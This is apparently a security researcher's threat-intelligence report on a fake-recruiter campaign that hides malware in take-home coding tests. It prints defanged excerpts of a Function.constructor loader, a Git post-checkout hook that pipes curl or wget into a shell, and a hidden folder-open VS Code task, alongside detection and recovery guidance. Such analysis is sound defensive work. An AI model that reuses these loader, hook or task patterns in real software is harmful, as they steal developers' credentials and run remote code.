Contagious Interview: Fake Coding Tests and Execution Triggers
Recruitment bait, install-time loaders, Git hooks and VS Code tasks, with source excerpts and defensive checks.
Cristian Chiriac
- Published:
- 2 November 2026
- Version:
- 1.0
- Last observed:
- 30 October 2026
- Dataset frozen:
- 1 November 2026
- Collection cut-off:
- 31 October 2026, 17:59 UTC
- Tracked items rechecked:
- 1 November 2026, 18:23 UTC
- Time zone
- All dates UTC.
Contents
Fake coding assessments contain loaders and repository-controlled hooks that can execute code during normal developer actions.
The research in 30 seconds
- What I found
- Fake coding assessments contain loaders and repository-controlled hooks that can execute code during normal developer actions.
- What this adds
- The examined projects expose three trigger paths, including folder-open tasks that arm a checkout hook.
- Verified scope
- 436 repositories passed the broader campaign proof rules on 30–31 October; the earlier byte-identical template set is a different measure.
- What remains unknown
- Source establishes configured behavior. Candidate execution, archive delivery and successful infection were not observed.
The numbers, with their boundaries
Current count
436
Campaign repositories
30–31 Oct 2026 · UTC
- Counts:
- Broader pinned-commit proof pass; 374 owner accounts. Includes loader projects, hooks, older loaders and two server repositories.
Earlier snapshot or subset
256
Byte-identical template loaders
27 Oct 2026 · UTC
- Counts:
- Earlier rechecked template subset across 61 families; not an earlier count of exactly the same set.
Earlier snapshot or subset
51 → 38
Hook-lure snapshots
29 → 30 Oct 2026 · UTC
- Counts:
- 51 documented on 29 Oct; 38 passed the current-commit hook rule on 30 Oct. Do not add the two snapshots.
A take-home coding test can run a loader during installation, startup or checkout. This article follows the recruitment bait and the three execution paths found in the examined projects.
This is the entry-point analysis. The companion investigation into public server source, infrastructure and payloads follows the delivery chain beyond the coding test.
Where this stands (1 November 2026)
#The proven set was closed on 1 November 2026 with what had been found up to 31 October 2026, 17:59 UTC; repositories found after that are tracked separately and are not in these figures. The full proof pass at pinned commits ran on 30–31 October. On 1 November 2026, 18:23 UTC a read-only GitHub API recheck covered the 162 repositories, 73 accounts and 12 issues that are tracked one by one (operator repositories, Shai-Hulud accounts, phishing issues), not the whole set.
- Frozen: 436 repositories under 374 accounts carry the loader, a hook lure or server source at a pinned commit; 44 of the 51 hook lures still had the hook when proven.
- Operators active: two staging-server repositories received commits on 31 October (01:15 and 01:33 UTC); one hook-lure repository removed its hook on 31 October (its proof row keeps the earlier commit).
- Public: 16 of the 18 infrastructure repositories; all 51 hook-lure repositories; the job ads were still open.
Proof pass, 30 October 2026
#On 30 October every repository in this campaign's lists was read again at a pinned commit. Each was recorded with its commit, matched file and git object id. 436 repositories under 374 accounts passed, 49 of them added on 31 October:
| Rule at the current commit | Repositories |
|---|---|
| Loader in a coding-test project | 382 |
| …redistributed copies of a template | 248 |
| …repositories controlled or suspected to be controlled by the operators | 33 |
| …other loader hits | 101 |
| Repository-controlled git hook that downloads and runs a script | 44 |
Older errorHandler loader |
8 |
| Server source added on 29 October | 2 |
This is a different measure from the 256 used elsewhere on this page. 256 counts loaders that are byte-identical to an analysed sample in the operators' 61 template families, re-checked on 27 October. 382 is the 30 October proof pass plus 49 loader repositories that my daily search found on 31 October with the same rule. It also counts redistributed copies and other listed loader hits.
The fifteen server-source repositories described in the infrastructure companion were proven earlier from their full history and
are not repeated in this table. 28 repositories no longer show the evidence at their current commit, 7
of them hook lures, and 3 were deleted. They are not counted. Six hook lures keep the hook in
.github/githooks/post-checkout; my first rule looked only in .githooks/, so they were added on the evening of
30 October.
What the operation looks like
#Fake recruiters use take-home coding exercises to deliver malicious code to developers. I examined public repositories, historical platform events and infrastructure records, alongside preserved samples that I analyzed offline. The material connects coding-test lures with staging infrastructure and with JavaScript payloads whose capabilities are consistent with the publicly reported OtterCookie lineage.
The most unusual observation: the operators keep the source code of their own staging and payload servers in public GitHub repositories. That code gives researchers a second view of the infrastructure, and its commit history dates each change.
The chain is not equally strong at every step. A URL inside a hook, for example, can be directly observed in a file; that does not establish how the archive reached a candidate or what a server returned at runtime. This article distinguishes those observations from supported links and open questions.
Findings and confidence
#How I conducted the investigation
#Expand technical detail · complete record
I used publicly accessible repository and platform-event records (the GitHub REST and Events APIs, and the public GH Archive event history). I also used certificate-transparency data, passive DNS, existing third-party scans, registration (RDAP) records and threat-intelligence lookups.
Preserved samples were analyzed in an isolated virtual machine without executing the malware, contacting the suspected infrastructure, logging into an operator panel or accessing victim data. The deobfuscation process did evaluate string-decoder functions in a network-isolated environment; it did not run the payload as a whole. Later downloads from GitHub ran in a separate, disposable virtual machine, so that no sample was written to my workstation.
Account actions were attributed using platform-recorded events where available, not commit author names or email addresses. Many commits in these repositories carry the names and addresses of unrelated, long-standing developers, which is consistent with identity reuse. Commit timestamps can be set by clients and are labeled as commit dates, never as verified event times.
| Data source | What was collected | Scope | Date (UTC) | Coverage limit |
|---|---|---|---|---|
| GitHub code and commit search | Loader function names, configuration patterns, template sibling files, lure emails | 267 template repositories in 61 families; 508 configuration versions | 26–29 Oct 2026 | Default branches; indexed files only |
| GitHub object reads | Exact loader and configuration blobs by hash; HEAD re-checks | 308 repositories | 27 Oct 2026, 12:38–12:45 | — |
| Server-source repositories | Full history of 17 Express repositories; Vercel commit statuses | 375 commits (first 15) | 26–29 Oct 2026 | A commit does not prove a deployment |
| GitHub Events API and GH Archive | Authenticated pushes and repository creations | Actor-side accounts | 26–28 Oct 2026 | Events API about 90 days; GH Archive degraded for Aug–Oct 2026 |
| Preserved payload samples | Static analysis in an isolated VM | 35 files from 157 versions | 26–27 Oct 2026 | String decoders evaluated with the network isolated; payloads never run |
| Certificate transparency, passive DNS, RDAP | Registration and hosting of staging domains and C2 addresses | 48 hostnames; 15 C2 addresses | 26–29 Oct 2026 | Third-party scan coverage varies |
| Job-board archives | Recruitment posts and their authors | 1,214 archived posts on one board; 10 BitAngels posts on 8 boards | 28–29 Oct 2026 | Deleted posts only through archives |
The bait: a company name and a coding test
#Two job advertisements on a public web3 job board used the name "ParallelChain Labs", which resembles
the legitimate company ParallelChain Lab. They were posted on 8 and 13 September 2026. Both were later
deleted from the board but are preserved in its public archive. They direct candidates to an address
and a Telegram handle under parallelchain-labs[.]com. Only these two of 1,214 archived posts match
the template.
The domain was registered on 7 September 2026, and a TLS certificate was issued on 8 September, about
three hours after the first post. A look-alike, parallelchain-lab[.]com, followed on 22 September.
A second persona borrows a real brand. Between 22 August and 15 September 2026, ten posts on eight job boards hosted as GitHub issue trackers advertised a "Senior Solidity Smart Contract Engineer" role at "BitAngels", the name of an existing investor network. Nine of them were opened by one GitHub account, and that same account owns the source of a staging server and of a payload server (see the account relationships in the companion analysis). Four of its posts were still open on 29 October. The tenth post, with identical text, came from a different account whose control I could not establish.
Thirteen coding-test ZIP archives, in a repository of an account linked to the server
infrastructure, carry a Git hook that downloads a script from parallelchain-labs[.]com. The
operators' own server source also added that domain as a staging host on 7 October. The shared domain
supports a connection between the advertised persona and the archives. The material does not show
how those particular ZIP files were delivered to candidates.
Three ways a project can trigger code
#1. Application loader
#The most common loader was found in an application file named errorHandler.js.
- It exports a function,
errorTimeHandler(), that builds a URL from base64-encoded environment values and requests it with a fixed header (x-secret-header: secret). - It runs whatever the server returns in its error response through
Function.constructor. GitLab documented this pattern earlier [6]. - It fires when the application's code calls that function. In most template families, the call is referenced from the validator middleware, which was not verified for every repository.
About the code excerpts. They are shortened and made non-functional on purpose: addresses are defanged (
hxxp,[.]), encoded values are replaced with<redacted>, and// ...marks omitted lines. Comments starting with←are mine. I took them from files I examined statically; nothing was run.
Here is the core of the most common loader version (blob 39608990…):
// errorHandler.js (excerpt)
const errorHandler = (error) => {
// ...
const createHandler = (errCode) => {
const handler = new (Function.constructor)('require', errCode); // ← text becomes a function
return handler;
};
const handlerFunc = createHandler(error);
if (handlerFunc) handlerFunc(require); // ← and runs with require()
};
const errorTimeHandler = async () => {
const src = atob(process.env.DB_API_KEY); // ← staging URL, base64 in .env
const k = atob(process.env.DB_ACCESS_KEY); // ← header name
const v = atob(process.env.DB_ACCESS_VALUE); // ← header value
try {
globalConfig = (await axios.get(`${src}`, { headers: { [k]: v } }));
} catch (error) {
errorHandler(error.response?.data || error.message); // ← the server's error body is executed
}
};The values it reads sit among ordinary-looking sample settings in the project's .env:
# api/.env (excerpt)
DB_PASSWORD=secretpassword # Database password
DB_API_KEY="<redacted>" # Database api key ← base64 of the staging URL
DB_ACCESS_KEY="<redacted>" # Database access key ← base64 of the header name
DB_ACCESS_VALUE="c2VjcmV0" # Database access value ← base64 of "secret"I found the loader in 256 template repositories, and in 15 more owned by accounts linked to the infrastructure. A public copy does not prove anyone ran it.
Across the template history (508 configuration versions), one loader file stays byte-identical from July 2025 to October 2026. Only the configured staging host changes, in this order:
api-server-mocha → gd.tracelic → y-lilac-sigma → walter-server / server-victory5 →
server-azure-tau → tsoftlabs
That is a statement about the examined files, not proof that every related project had a single human operator.
A relative of this loader is older still. A single-repository organization created on 6 June 2025
holds an assessment project whose server/config/runtimeConfig.js decodes an environment value,
requests it, and runs the response through Function.constructor when the server starts. Its
configured host is bs-production[.]up[.]railway[.]app. It is the earliest malicious artifact of this
cluster I have found. On 29 October I also found four more single-repository owners whose only
repository carries the errorHandler.js loader; three were created on the day of their repository or
a few days before. I suspect the operators set them up, but I have not proven it.
2. VS Code task
#Six template repositories also contained a VS Code task configured to run when a folder opens. The task referenced files presented as fonts but containing JavaScript. In two decoded examples, the task and the application loader pointed to the same staging host and campaign identifier within the same repository.
VS Code task-based lures have been documented by earlier researchers (OpenSourceMalware, SEAL, Abstract Security, GitLab) [3, 4, 5, 6]. The overlap between the two triggers in these examples is the observation here. Whether a task runs depends on the editor's trust settings and user actions; I did not execute it.
3. Git hooks in an archive or repository
#The thirteen ZIP archives each contain a complete .git directory with an active
.git/hooks/post-checkout hook. The hook is identical in all thirteen and retrieves an
operating-system-specific script from parallelchain-labs[.]com/settings/<os>?flag=2.
A normal clone does not copy the source repository's hooks as active local hooks. An archive that
includes a pre-existing .git directory carries the hook in place. Git runs it after a checkout in
that working tree; extracting the archive alone does not.
The hook is 64 lines long. Forty-five of them are generic comments about what Git hooks are for, which makes the file look like documentation. The part that runs, condensed:
#!/bin/sh
# .git/hooks/post-checkout (executable lines only)
uname_s="$(uname -s 2>/dev/null || echo unknown)"
case "$uname_s" in
Darwin) curl -s 'hxxps://parallelchain-labs[.]com/settings/mac?flag=2' | sh >/dev/null 2>&1 ;;
Linux) wget -qO- 'hxxps://parallelchain-labs[.]com/settings/linux?flag=2' | sh >/dev/null 2>&1 ;;
MINGW*|MSYS*|CYGWIN*)
curl -s hxxps://parallelchain-labs[.]com/settings/windows?flag=2 | cmd >/dev/null 2>&1 ;;
esacA separate set of repositories, under two "BitAngels" organizations, contained a hook under
.github/githooks/ that calls githooks[.]xyz. Git uses that hook only if core.hooksPath points to
that directory, and when I checked them on 27 October no file in those two organizations set it.
Newer lures set it for the candidate. On 28 and 29 October I found 51 hook-lure repositories in 12 organizations created between September and October 2026: "hiring test" and "live coding test" organizations, and later BitAngels-themed ones. They ship a VS Code task that runs when the folder is opened and stays hidden:
"label": "Git checkout to default branch",
"command": "git config core.hooksPath .githooks; git checkout main",
"presentation": { "reveal": "never", "echo": false, ... },
"runOptions": { "runOn": "folderOpen" }The checkout fires the repository's own post-checkout hook, which has the same structure as the
archive hook above: a block of comment lines, then curl or wget piped into a shell, per operating
system. Once a candidate opens and trusts the folder in VS Code, no further action is needed. Each
group of organizations points at its own staging host:
| Lure organizations (by theme) | Repositories | Staging host in the hook |
|---|---|---|
| Four "Hiring-Test" organizations | 16 | parallelchain-labs[.]com |
| Two "live-coding-test" organizations themed on a "Lootrush" company | 20 | lootrushs[.]xyz, brickfi[.]vip |
| A third "Lootrush" organization | 1 (plus 8 empty) | lootrush[.]sbs |
| A "live-test" organization created on 23 October | 6 | jitnad[.]biz |
| An "auron" organization | 5 | githooks[.]xyz |
| Two later BitAngels-themed owners | 2 | git-node-update[.]online |
| One more organization | 1 | dmitify[.]xyz |
Every one of these hosts also appears in the operators' server source or in the same domain registration batches. All 51 repositories were still public on 29 October.
The hook contents were inspected; I did not run them. Prior reporting had already documented folder-open tasks [3, 4, 5], malicious hook lures and archives containing live hooks [11]. What is new here is the set of repositories and hosts, not the technique.
Evidence register
#Expand technical detail · complete record
267 repositories in 61 template families; loader file compared by git blob hash with analyzed samples; configuration decoded to staging URLs; re-checked at HEAD.
Source: GitHub code search and object reads · Collected 27 October 2026
Express source of staging and payload servers, their full commit history, configured hosts and Vercel deployment statuses.
Source: GitHub repositories and commit statuses · Collected 29 October 2026
157 distinct payload blobs from the payload-server history; 35 preserved and analyzed statically, including the five B3-cdp-la versions of 27 October.
Source: GitHub object reads; isolated VM · Collected 27 October 2026
Thirteen ZIP archives with a live .git/hooks/post-checkout, and 51 repositories whose folder-open task sets core.hooksPath to a repository hook directory.
Source: GitHub contents API inside an isolated VM · Collected 29 October 2026
ParallelChain Labs posts preserved in a job board's archive; ten BitAngels posts on eight GitHub-hosted job boards with their authors and states.
Source: GitHub issues API; job-board archive · Collected 29 October 2026
Authenticated push and creation events for actor-side accounts, stable numeric IDs and renames.
Source: GitHub Events API; GH Archive · Collected 28 October 2026
Defensive checks
#Before opening or running an unfamiliar take-home project:
Inspect archives for
.git/hooks/,.githooks/,.github/githooks/and other setup scripts. Treat a ZIP containing a.gitdirectory with non-sample hooks as untrusted, and do not perform a checkout inside it.Review
.vscode/tasks.jsonfor folder-open tasks, and examine files presented as fonts or images if a task tries to run them with Node.js. A task that runsgit config core.hooksPathis a red flag. Use the editor's workspace trust controls.Review application setup and environment-driven loaders before installing dependencies or running the project. Look for
Function.constructororevalapplied to remotely retrieved code, and for base64 values in.envthat decode to unexpected URLs.Hunt where telemetry permits:
- for the header
x-secret-header; - for the paths
/api/ipcheck-encrypted/and/settings/; - on macOS, for the file
~/Library/LaunchAgents/com.user.chrome.cdp.plist; - for outbound traffic to the listed C2 addresses on ports 8085–8087.
Validate each match in context: shared infrastructure and common paths can produce false positives.
- for the header
If you already ran one of these projects
#Use a separate, trusted device for any password or key changes. If the machine belongs to an employer, involve their incident-response team before changing anything.
Look for these traces. Each one comes from the operators' published code or from my static analysis; not every infection leaves all of them.
- A
.vscodefolder in your home directory (%USERPROFILE%\.vscodeon Windows,~/.vscodeon macOS/Linux) containing files you did not create. Examples:vscode-bootstrap.cmd,env-setup.jsorenv-setup.npl, or apackage.jsonwithaxios,socket.io-client,clipboardyorsql.js. - On macOS, the file
~/Library/LaunchAgents/com.user.chrome.cdp.plist, or the logs/tmp/chrome-cdp.stdout.logand/tmp/chrome-cdp.stderr.log. - Google Chrome running with
--remote-debugging-portwhen you did not start it that way. - Node.js processes connecting to remote ports 8085, 8086 or 8087.
- Unexpected background
nodeprocesses started from your home directory.
Assume these were exposed and change them. The stealer targets each of them:
- passwords saved in browsers;
- crypto-wallet extensions (move funds using a new seed on a clean device);
- SSH keys;
- cloud credentials (
~/.awsand similar); - API keys or tokens in your shell environment or
.envfiles; - GitHub and npm tokens.
Rebuild. A reinstall is the reliable way to remove the remote-access component. Deleting the files above does not guarantee a clean system.
What was already public
#Expand technical detail · complete record
Sources were read on or before 30 October 2026. Each one also links to its Internet Archive record, which lists the captures that exist, in case the original moves or changes.
The findings build on substantial earlier work. Numbers in brackets in the text refer to this list.
- Palo Alto Unit 42, "Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors" (2023-11-21) — first public description of Contagious Interview. https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/ (Internet Archive lookup)
- Cisco Talos, "BeaverTail and OtterCookie evolve with a new Javascript module" (2025-10-16). https://blog.talosintelligence.com/beavertail-and-ottercookie/ (Internet Archive lookup)
- OpenSourceMalware, "DPRK Contagious Interview Malware Weaponizes Microsoft VSCode Tasks" (2025-11-29). https://opensourcemalware.com/blog/contagious-interview-vscode (Internet Archive lookup)
- SEAL Intel, "VS Code Tasks Abuse by Contagious Interview (DPRK)" (2026-01-13). https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/ (Internet Archive lookup)
- Abstract Security, "Contagious Interview: Tracking the VS Code Tasks Infection Vector" (2026-01-20). https://www.abstract.security/blog/contagious-interview-tracking-the-vs-code-tasks-infection-vector (Internet Archive lookup)
- GitLab Threat Intelligence, "GitLab Threat Intelligence Team reveals North Korean tradecraft"
(2026-02-19) — the
.env+Function.constructorloader pattern. https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/ (Internet Archive lookup) - Microsoft Threat Intelligence, "Contagious Interview: Malware delivered through fake developer job interviews" (2026-03-11). https://microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews (Internet Archive lookup)
- SANS Internet Storm Center, "Cross-Platform NPM Stealer" (diary 33006, 2026-05-22) — the 8085/8086/8087 port pattern. https://isc.sans.edu/diary/33006 (Internet Archive lookup)
- Elastic Security Labs, "New North Korean campaign uses fake coding interviews to steal developer credentials" (2026-07-18). https://www.elastic.co/security-labs/contagious-interview-malware-svg-steganography (Internet Archive lookup)
- Atlassian Trust & Security, "From fake interviews to malicious repositories: Disrupting Contagious Interview" (2026-09-21). https://www.atlassian.com/blog/how-we-build/disrupting-contagious-interview (Internet Archive lookup)
- bryanchriswhite/dev-trap-dossiers (GitHub), incident write-ups including Git-hook archives (2026-08).
- OSV advisory
MAL-2026-2896(npm packagechai-as-stream, 2026-04-15), and a researcher's public notes on the BitAngels recruiter lure (2026-04-10).
Reports consulted only through secondary references, because the originals could not be accessed:
SlowMist (July 2026, which matches C2 172.86.126[.]76); Walmart, "Mapping OtterCookie
Infrastructure"; and BlueVoyant on Shifty Corsair.
Why this needs more awareness
#This campaign does not exploit a software vulnerability. It exploits a routine step of hiring: a candidate receives a project, installs its dependencies and runs it, often under time pressure and on the same computer that holds their browser sessions, password manager and crypto wallets. Each of those steps looks normal, which is why the technique keeps working.
Technical controls alone do not close that gap; people who hire and people who apply need to know the pattern. What I would ask readers to pass on:
- Candidates: run any take-home test in a disposable virtual machine, container or cloud
workspace with no saved logins. Before running anything, read
package.jsonscripts,.vscode/tasks.jsonand any Git hooks. A recruiter who insists the project must run locally and quickly is a warning sign. - Recruiters and hiring teams: send tests from your own organization's repository and say so in writing, so candidates can tell a real test from a copy.
- Security and IT teams: treat developer job hunting as part of the threat model, and include this lure in awareness training alongside phishing.
- Everyone: if you received a test like this, report the repository to the platform that hosts it. Each report removes one copy that someone else might run.
Data notes and reconciliation
#Expand technical detail · complete record
| Measure | Figures | Why they differ |
|---|---|---|
| Loader repositories | 256 vs 436 | 256 = byte-identical loaders in the 61 template families on 27 Oct; 436 = frozen proven set (30–31 Oct), which also counts redistributed copies, hook lures and server-source repositories |
| Hook lures | 51 → 44 proven | 51 in the 29 Oct inventory; 44 carry the hook at the pinned commit (38 in .githooks/, 6 in .github/githooks/); 7 had removed it before the 30 Oct check |
| Infrastructure repositories | 18 → 16 public | Two disappeared with their account before 29 Oct |
Limitations
#This is a passive and primarily static investigation. I did not access any suspected server, C2, operator panel or victim data, and I did not execute the payloads. Consequently, current liveness, server responses, delivery to a particular candidate and actual compromise are unknown. Platform search, public archives and threat-intelligence sources have coverage gaps.
Investigation context
#This article is part of the GitHub threat investigation. Counts are a snapshot, not evidence that the code ran on a victim's machine. The shared methodology and proof rules explain inclusion, exclusions and the independent re-check.
Related infrastructure and indicators
#The companion indicator inventory retains the reviewed staging hosts, payload hashes and historical command-and-control addresses. Indicators describe observed configurations, not confirmed execution.
Claims, evidence and limits
| Claim | Assessment | Evidence | Limit |
|---|---|---|---|
| 256 coding-test repositories still carry the loader | Confidence: Confirmed malicious | E-CI-LOADER | Not stated in the finding |
| Hook lures armed by opening the folder | Confidence: Confirmed malicious | E-CI-HOOKS | Not stated in the finding |
Terms used on this page
- pinned commit
- A specific commit, identified by its hash, at which a repository was read. Every counted repository was proven at the default-branch commit recorded in the proof pass, so a later change to the repository does not change what was proven.
- git object id
- The hash Git assigns to a file's exact contents. Recording it identifies the precise file that matched, independently of its path or of later edits.
- default branch
- The branch a repository shows by default. Counts are taken on default branches only; infected non-default branches were recorded separately and are not counted.
- staging server
- In Contagious Interview, an Express server that answers platform-specific setup requests with a script that downloads and starts a Node.js program; requests that look like a browser or Postman get a harmless decoy. A separate payload server returns the obfuscated JavaScript stealer.
- proof pass
- The 30–31 October 2026 re-read of every candidate at a pinned commit under fixed inclusion rules, followed by an independent re-read of a random sample of 555 repositories through a different API.
- folder-open task
- A VS Code task in .vscode/tasks.json with "runOn": "folderOpen", which runs when the folder is opened in a trusted workspace.
- workspace trust
- VS Code's setting for unfamiliar folders: a folder that is not trusted opens in restricted mode, which stops folder-open tasks.
- defanged
- Written so it cannot be clicked or resolved as written, for example example[.]com or hxxps://. Every network indicator on this site is defanged.
All terms: glossary.
Corrections & discussion
Found an error, or have evidence that supports or contradicts a finding? Send a correction. Name the section and what you observed.